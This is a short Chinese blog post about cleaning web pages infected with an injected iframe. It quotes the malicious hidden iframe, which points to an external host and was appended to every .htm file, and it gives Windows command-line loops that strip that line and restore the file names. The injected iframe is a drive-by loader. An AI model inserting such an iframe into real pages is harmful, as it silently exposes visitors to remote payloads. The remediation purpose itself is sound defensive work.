清除掛馬網址

每個htm文件最後都被加上了<iframe src=http://mm.uu88567.cn/index/mm.htm width=100 height=0></iframe>
一下命令用來將其去掉

F:/javascript>for %i in (*.htm) do for /f "delims=`" %j in (%i) do @if not "%j"=
="<iframe src=http://mm.uu88567.cn/index/mm.htm width=100 height=0></iframe>" ec
ho %j >>%i.txt

一下命令把.htm.txt改爲.htm
F:/javascript>for %i in (*.txt) do ren %i %~ni

發佈了34 篇原創文章 · 獲贊 4 · 訪問量 4萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章